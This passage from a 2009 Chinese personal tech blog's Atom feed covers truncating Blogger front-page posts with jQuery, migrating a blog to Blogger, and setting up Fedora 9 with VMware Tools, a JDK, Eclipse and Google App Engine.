/&gt;&lt;br/&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-weight:normal;letter-spacing:normal;orphans:2;text-indent:0;white-space:normal;widows:2;margin:0;padding:0;" class="Apple- style-span"&gt;OK啦&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a style="color:rgb(0,102,170);margin:0;padding:0;" href="http://liuspring.blogspot.com/"&gt;看看效果吧&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7672587160347288027?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7672587160347288027/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/04/bloggerlabel-widget_24.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7672587160347288027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7672587160347288027'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/04/bloggerlabel-widget_24.html' title='将blogger原有标签label widget改成标签云形式'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5933777064555460204</id><published>2009-04-22T20:54:00.000+08:00</published><updated>2010-08-13T11:22:03.583+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Blogger'/><title type='text'>自己用jquery 实现 google blogger 首页文章摘要</title><content type='html'>早就注意到google blogger 首页文章不能只显示摘要，而是全部显示&lt;br/&gt;google了几个网页提供的方法，官方的方式是在文章中加一个span，让当在首页显示时span隐藏，这种方式只适合以后新增文章，以前的旧文章均没有加入这个span，就不好使&lt;br/&gt;想到blogger这么高度自定义，那么用jquery实现吧&lt;br/&gt;经过一个晚上的实验，终于出结果了&lt;br/&gt;&lt;br/&gt;修改html模板，在&amp;lt;head&amp;gt;下面加入&lt;br/&gt;&lt;div style="background-color:rgb(249,247,237);"&gt;&lt;br/&gt;&lt;div class="source" style='color:rgb(0,0,0);background-color:rgb(249,247,237);'&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;&amp;lt;b:if&lt;/span&gt; &lt;span style="color:rgb(255,0,0);"&gt;cond=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;'data:blog.pageType != &amp;quot;item&amp;quot;'&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;&amp;lt;script &lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;src=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;'http://www.google.com/jsapi'&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;/&amp;gt;&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;script&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;type&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;'text/javascript'&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;google&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;load&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;'jquery'&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;'1.3.2'&lt;/span&gt;);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;&amp;lt;script &lt;/span&gt;&lt;span style="color:rgb(255,0,0);"&gt;language=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;'javascript'&lt;/span&gt; &lt;span style="color:rgb(255,0,0);"&gt;src=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;'http://www.reindel.com/truncate/jquery.truncate.js'&lt;/span&gt; &lt;span style="color:rgb(255,0,0);"&gt;type=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;'text/javascript'&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;/&amp;gt;&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;script&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;type&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;'text/javascript'&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;$&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;function&lt;/span&gt;() &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;$&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;div[class='post-body entry-content']&amp;quot;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;).&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;truncate&lt;/span&gt;( &lt;span style="color:rgb(0,0,255);"&gt;90&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;chars&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;:&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;/\s/&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;trail&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;:&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;[&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot; ( &amp;lt;a href='#' class='truncate_show'&amp;gt;more&amp;lt;/a&amp;gt; . . . )&amp;quot;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot; ( . . . &amp;lt;a href='#' class='truncate_hide'&amp;gt;less&amp;lt;/a&amp;gt; )&amp;quot;&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;]&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;});&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;});&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;&amp;lt;/b:if&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;保存，就大功告成啦，看效果http://liuspring.blogspot.com/&lt;br/&gt;经测试，IE7中会提示：是否停止运行脚本？此页面的脚本造成Internet Explorer 运行速度减慢，如果继续运行，您的计算机将可能停止响应&lt;br/&gt;在FireFox3和Google Chrome中没有什么提示，速度还挺快，但会有显示问题，因为应用的jquery.truncate框架有浏览器兼容问题&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5933777064555460204?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5933777064555460204/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/04/jquery-google-blogger_22.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5933777064555460204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5933777064555460204'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/04/jquery-google-blogger_22.html' title='自己用jquery 实现 google blogger 首页文章摘要'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7602342946823970440</id><published>2009-04-19T21:21:00.000+08:00</published><updated>2010-08-13T11:22:03.597+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google App Engine'/><title type='text'>搬家到Google blogger</title><content type='html'>step1 blogbus注册一用户，然后用其首页的搬家工具导出sohu博客的内容。 &lt;br/&gt;&lt;br/&gt;step2 yo2注册一用户，导入step1得到的文件，再导出。 &lt;br/&gt;&lt;br/&gt;step3 在&lt;a rel="nofollow" target="_blank" href="http://wordpress2blogger.appspot.com/"&gt;http://wordpress2blogger.appspot.com/&lt;/a&gt;转换step2得到的文件。 &lt;br/&gt;&lt;br/&gt;这是转换好的文件是符合blogger规范的，可以直接导入&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7602342946823970440?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7602342946823970440/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/04/google-blogger.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7602342946823970440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7602342946823970440'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/04/google-blogger.html' title='搬家到Google blogger'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-6668650855549854522</id><published>2009-04-19T08:27:00.003+08:00</published><updated>2010-08-13T11:22:03.612+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google App Engine'/><title type='text'>部署我的Google App Engine（二）</title><content type='html'>手上有四个版本的Linux，Ubuntu，Redhat，Fedora，openSUSE，都装过，后来感觉还是Fedora比较好用，我装的是&lt;br/&gt;&lt;br/&gt;Fedora9，Fedora10正在下载中 &lt;br/&gt;&lt;br/&gt;以下Linux安装配置，仅限于在Fedora9上安装通过，资料都是通过Google搜索得来，感谢各位网友，网络的力量真是强大。&lt;br/&gt;&lt;br/&gt;1、在VMware中装上Fedora9后，首先安装VMware-tools，方便与主机交互&lt;br/&gt;&lt;br/&gt;首先需要下载相应的kernel-devel.rpm包进行安装&lt;br/&gt;首先查看内核版本:uname -r一下,我的是2.6.25-14.fc9.i686,&lt;br/&gt;&lt;br/&gt;所以下载kernel-devel-2.6.25-14.fc9.i686.rpm,然后运行rpm -ivh  kernel-devel-2.6.25-14.fc9.i686.rpm 进行安装. 内核安&lt;br/&gt;&lt;br/&gt;装完毕后，需要用这个命令确定内核 C header 的安装目录:ls -d /usr/src/kernels/$(uname -r)*/include&lt;br/&gt;&lt;br/&gt;安装内核具体步骤如下:&lt;br/&gt;&lt;br/&gt;[root@localhost ~]# uname -r&lt;br/&gt;2.6.25-14.fc9.i686&lt;br/&gt;[root@localhost ~]# rpm -q kernel-devel&lt;br/&gt;package kernel-devel is not installed&lt;br/&gt;[root@localhost ~]# cd /home&lt;br/&gt;[root@localhost home]# wget ftp://rpmfind.net/linux/fedora/releases/9/Everything/i386/os/Packages/kernel-devel-&lt;br/&gt;&lt;br/&gt;2.6.25-14.fc9.i686.rpm&lt;br/&gt;[root@localhost home]# rpm -i kernel-devel-2.6.25-14.fc9.i686.rpm&lt;br/&gt;[root@localhost home]# rpm -q kernel-devel&lt;br/&gt;kernel-devel-2.6.25-14.fc9.i686&lt;br/&gt;&lt;br/&gt;再安装gcc，否则安装VMware-tools时会提示：Setup is unable to find the &amp;quot;gcc&amp;quot; program on your machine.  Please make &lt;br/&gt;&lt;br/&gt;sure it&lt;br/&gt;is installed.  Do you want to specify the location of this program by hand? &lt;br/&gt;[yes] &lt;br/&gt;&lt;br/&gt;What is the location of the &amp;quot;gcc&amp;quot; program on your machine? &lt;br/&gt;&lt;br/&gt;在命令行执行：yum install gcc&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;然后安装VMware Tools就行了，打开菜单&amp;ldquo;VM -&amp;gt; Install VMware Tools&amp;rdquo;,然后有光盘自动弹出,把里面的源代码拷贝出来.我的文&lt;br/&gt;&lt;br/&gt;件是VMwareTools-6.5.0-xxxxx.tar.gz,我把它拷贝到/opt里.&lt;br/&gt;&lt;br/&gt;安装 VMware TOOLS&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    cd /opt&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    tar -zxvf VMwareTools-6.5.0-xxxxx.tar.gz&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    cd vmware-tools-distrib/&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    ./vmware-install.pl&lt;br/&gt;&lt;br/&gt;再一路安回车OK&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;2、由于在装载xorg-x11-drv-vmmouse驱动时的一个bug，在客户虚拟机的显示中，鼠标位置可能不正确。直到被更新前，在客户机&lt;br/&gt;&lt;br/&gt;中添加Option NoAutoAddDevices到/etc/X11/xorg.conf文件的ServerFlags节中。如果需要，创建这个节：&lt;br/&gt;&lt;br/&gt;Section &amp;quot;ServerFlags&amp;quot;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    Option&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &amp;quot;NoAutoAddDevices&amp;quot;&lt;br/&gt;EndSection&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;3、第一,安装JDK&lt;br/&gt;第一,到http://java.sun.com下载最新JDK,当前本人下载的是jdk1.6.0_02!下载文件:jdk-6u2-linux-i586-rpm.bin.注意是&lt;br/&gt;&lt;br/&gt;rpm.bin的!&lt;br/&gt;&lt;br/&gt;第二,给下载回来的文件增加执行权限:chmod 755 jdk-6u2-linux-i586-rpm.bin.&lt;br/&gt;&lt;br/&gt;第三,执行文件:./jdk-6u2-linux-i586-rpm.bin.&lt;br/&gt;&lt;br/&gt;第四,执行文件产生一个rpm文件,可直接双击执行也可以在shell下执行:rpm -ivh jdk-6u2-linux-i586-rpm.&lt;br/&gt;&lt;br/&gt;第五:配置环境变量,环境变量配置可在全局文件/etc/profile下修改,这样所有linux系统的用户都可以用JDK,如果只是特定的&lt;br/&gt;&lt;br/&gt;用户用可修改/root/.bashrc文件,本人的修改为:&lt;br/&gt;&lt;br/&gt;#java set&lt;br/&gt;set JAVA_HOME=/usr/java/jdk1.6.0_02&lt;br/&gt;export JAVA_HOME&lt;br/&gt;export JRE_HOME=/usr/java/jre1.6.0_02&lt;br/&gt;set JAVA_BIN=/usr/java/jre1.6.0_02&lt;br/&gt;export JAVA_BIN&lt;br/&gt;&lt;br/&gt;第五,当环境变量修改完后,重起系统,在shell下输入java,看是否输入相关JAVA帮助信息,如果有,说明已经安装成功!如果没有,&lt;br/&gt;&lt;br/&gt;检查一下变量环境设置是否有误!&lt;br/&gt;&lt;br/&gt;2,安装Eclipse，Eclipse不需要安装，只要解压缩就行了&lt;br/&gt;&lt;br/&gt;运行Google App Engine不需要Tomecat，记录在这&lt;br/&gt;3,安装tomcat的方法跟安装eclipse的一样,也是下一个tar.gz的文件按安装eclipse方法和步骤就行了!进入tomcat/bin&lt;br/&gt;&lt;br/&gt;下./startup.sh,如果在shell出现jdk的相关信息说明已经安装成功启动了,在firefox下打http://localhost:8080/出现tomcat页就&lt;br/&gt;&lt;br/&gt;大成功了!&lt;br/&gt;&lt;br/&gt;在以上的安装过程之中,出现了小插曲,就是tomcat找不到JDK,后来我又到JAVA网站下了一个JRE回来安装,并建JRE_HOME,重起&lt;br/&gt;&lt;br/&gt;TOMCAT,成功了!&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;4、运行Google App Engine的应用，提示&lt;br/&gt;&lt;pre&gt;** Unable to load Mozilla for hosted mode **&lt;br /&gt;java.lang.UnsatisfiedLinkError:&lt;br /&gt;/home/dhofmann/development/ide/gwt-linux-1.4.61/mozilla-1.7.12/libxpcom.so:&lt;br /&gt;libstdc++.so.5: cannot open shared object file: No such file or directory&lt;br /&gt; at java.lang.ClassLoader$NativeLibrary.load(Native Method)&lt;/pre&gt;&lt;br/&gt;解决办法：&lt;br/&gt;Search for stdc++5 in synaptic package manager (System-&amp;gt;Administration-&amp;gt;Synaptic) and then mark and install it. Or &lt;br/&gt;&lt;br/&gt;use this console command:&lt;br/&gt;yum install libstdc++.so.5&lt;br/&gt;&lt;br/&gt;停止进程命令：&lt;br/&gt;就是kill 比较不错，如果kill不了. 加上-9&lt;br/&gt;如#kill -9 1778&lt;br/&gt;注1778 为进程pid&lt;br/&gt;pid可以通过ps aux|grep 服务名查得&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;启动Eclipse时，提示错误：&lt;br/&gt;&lt;br/&gt;eclipse.buildId=M20090211-1700&lt;br/&gt;java.version=1.6.0&lt;br/&gt;java.vendor=Sun Microsystems Inc.&lt;br/&gt;BootLoader constants: OS=linux, ARCH=x86, WS=gtk, NL=zh_CN&lt;br/&gt;Command-line arguments:  -os linux -ws gtk -arch x86&lt;br/&gt;&lt;br/&gt;!ENTRY org.eclipse.ui.workbench 4 0 2009-04-18 02:12:18.085&lt;br/&gt;!MESSAGE Widget disposed too early!&lt;br/&gt;!STACK 0&lt;br/&gt;java.lang.RuntimeException: Widget disposed too early!&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;    at org.eclipse.ui.internal.WorkbenchPartReference$1.widgetDisposed(WorkbenchPartReference.java:171)&lt;br/&gt;&lt;br/&gt;在网上搜索得知：&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;br/&gt;eclipse.ini文件加个参数&lt;br/&gt;-vmargs&lt;br/&gt;-Dorg.eclipse.swt.browser.XULRunnerPath=&lt;br/&gt;&lt;br/&gt;在Fedora9中安装拼音输入法&lt;br/&gt;保证Fedora 9联网的状态下&lt;br/&gt;在application-&amp;gt;system tools-&amp;gt;terminal 应用程序-&amp;gt;系统工具-&amp;gt;终端&lt;br/&gt;输入&lt;br/&gt;su 回车&lt;br/&gt;提示输入root密码&lt;br/&gt;yum install scim 回车&lt;br/&gt;系统会自动从一个镜uy像站点检索scim，并询问是否下载，选择y&lt;br/&gt;下载完成后输入&lt;br/&gt;yum install scim-pinyin 回车&lt;br/&gt;提示和操作如上&lt;br/&gt;然后输入&lt;br/&gt;scim 回车&lt;br/&gt;（笔者的电脑运行到starting SCIM后就没有反应了，不过没关系这时候可以按ctrl+c中断）&lt;br/&gt;选择Fedora 9&lt;br/&gt;System-&amp;gt;Preference-&amp;gt;Personal-&amp;gt;Input Method&lt;br/&gt;系统-&amp;gt;首选项-&amp;gt;个人-&amp;gt;输入法&lt;br/&gt;选择启用新特性，然后选择里面的SCIM，然后选择配置SCIM，&lt;br/&gt;在进入后的界面中选择Global Set 全局设置，在这里设置激活热键即可，然后重新启动电脑，就可以在Fedora 9下面使用中文输入&lt;br/&gt;&lt;br/&gt;法了 虽然有点麻烦 但毕竟fedora等众多linux桌面系统还很年轻，有很多不足之处。&lt;br/&gt;&lt;br/&gt;参考资料：&lt;br/&gt;http://www.5dlinux.com/article/6/2007/linux_9042.html&lt;br/&gt;http://zhidao.baidu.com/question/62290384.html&lt;br/&gt;http://www.linuxidc.com/Linux/2008-09/16011.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-6668650855549854522?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/6668650855549854522/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/04/google-app-engine_19.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6668650855549854522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6668650855549854522'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/04/google-app-engine_19.html' title='部署我的Google App Engine（二）'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3690468254747222436</id><published>2009-04-19T07:55:00.001+08:00</published><updated>2010-08-13T11:22:03.626+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google App Engine'/><title type='text'>部署我的Google App Engine（一）</title><content type='html'>&amp;nbsp;&amp;nbsp;&amp;nbsp;   截止到今天下午，中午把自己的应用部署到了Google app engine，用了一周的时间啊，真是费劲周折&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   好长时间了，听说Google出了个&lt;a href="http://code.google.com/appengine/" target="_blank" class="l"&gt;&lt;em&gt;Google App Engine&lt;/em&gt; - &lt;em&gt;Google&lt;/em&gt; Code&lt;/a&gt;，说是可以让用户上传自己的应用，但是只支持python，当时就想什么&lt;br/&gt;&lt;br/&gt;时候支持java啦啊，上个月看新闻就听说Google app engine 要开始支持java啦，哈哈，喜，到时候把我的写的blog传上去，哈哈&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   上周，终于知道了Google app engine终于开始宣布支持java了，哈哈呼呼，动手，到官网一看，没有支持java的动静啊，&lt;br/&gt;&lt;br/&gt;对，英文页面，哈哈，看来中文的还是慢一拍啊&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   首先到注册一个，竟然还要手机号发注册码，Google了一下 说在手机号前加 86就OK了，填上手机号点按钮，呦，短信马&lt;br/&gt;&lt;br/&gt;上就来啦，搞定，注册成功。&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   这下下载SDK，还有eclipse插件，帮助文档只有英文的，配合Google工具栏的翻译功能，基本能看懂，哈哈，感觉一路下&lt;br/&gt;&lt;br/&gt;来，英语水平有所上升啊，哈哈&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   打开eclipse，装上插件，很轻松的建了第一个应用，插件自动生成了一个小实例，部署上去，惊叹于Google的GWT&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   开始一直我原来写的blog程序，原来到处找免费的空间，jsp的空间不好找，先是找了&lt;a target="_blank" href="http://www.eatj.com/"&gt;http://www.eatj.com/&lt;/a&gt;，但是没24小&lt;br/&gt;&lt;br/&gt;时(好像是)就会自动停止，必须手动重启服务，原来还坚持去上去看看，后来终于因为有一次很忙时间太长被注销了，接下来就听&lt;br/&gt;&lt;br/&gt;说了&lt;a target="_blank" href="http://www.stax.net/"&gt;http://www.stax.net/&lt;/a&gt;，跟Google的路子差不多，好像还更自定义些，继续使用着，搞java朋友可以去看看&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   因为google app engine使用Google Account，原来的用户管理模块需要剔除，原来数据库使用的是mysql hibernate，现在&lt;br/&gt;&lt;br/&gt;Google 使用JDO，数据库被封装了，还好，当初设计是采用了工厂模式，实现了数据库访问模块与业务处理模块的松耦合，很容易&lt;br/&gt;&lt;br/&gt;配置数据库访问模块的更改，感受到好的设计真是为以后修改省很多事啊。&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   接着说部署我的Google app engine，终于改好相关代码，准备上传了，噩梦开始了&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   1、Unable to upload:&lt;br/&gt;java.lang.IllegalStateException: cannot find javac executable based on java.home, tried &amp;ldquo;D:\Java\jdk1.6.0_13&lt;br/&gt;&lt;br/&gt;\jre\bin\javac.exe&amp;rdquo; and &amp;ldquo;D:\Java\bin\javac.exe&amp;rdquo;&lt;br/&gt;参考http://zhuyx808.javaeye.com/blog/370124&lt;br/&gt;http://onlypython.group.javaeye.com/group/blog/366471&lt;br/&gt;http://618119.com/archives/2009/04/12/148.html&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   2、决定转战Linux...(昨儿弄到3点，今儿早点，明儿再写)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3690468254747222436?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3690468254747222436/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/04/google-app-engine_4090.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3690468254747222436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3690468254747222436'/><link rel='alternate' type='text/html' 